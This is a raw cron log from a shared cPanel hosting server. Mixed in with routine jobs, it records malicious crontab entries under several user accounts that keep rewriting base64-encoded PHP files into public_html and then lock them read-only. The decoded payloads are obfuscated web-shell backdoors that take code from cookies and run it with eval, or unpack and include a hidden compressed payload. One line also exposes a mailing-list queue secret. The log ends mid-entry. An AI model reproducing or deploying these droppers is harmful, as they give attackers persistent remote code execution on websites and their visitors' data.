Mar  1 16:16:01 medusa CROND[14057]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:16:01 medusa CROND[14058]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:16:01 medusa CROND[14054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:17:01 medusa CROND[3737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:17:01 medusa CROND[3738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:17:01 medusa CROND[3739]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:17:01 medusa CROND[3741]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:17:01 medusa CROND[3742]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:17:01 medusa CROND[3743]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:17:01 medusa CROND[3744]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:17:01 medusa CROND[3746]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:17:01 medusa CROND[3747]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 16:17:01 medusa CROND[3740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:17:01 medusa CROND[3749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:17:01 medusa CROND[3750]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:17:01 medusa CROND[3756]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:18:02 medusa CROND[25240]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 16:18:02 medusa CROND[25243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:18:02 medusa CROND[25244]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:18:02 medusa CROND[25245]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:18:02 medusa CROND[25246]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:18:02 medusa CROND[25247]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:18:02 medusa CROND[25250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:18:02 medusa CROND[25251]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:18:02 medusa CROND[25256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:18:02 medusa CROND[25257]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:18:02 medusa CROND[25259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:18:02 medusa CROND[25260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:18:02 medusa CROND[25261]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKg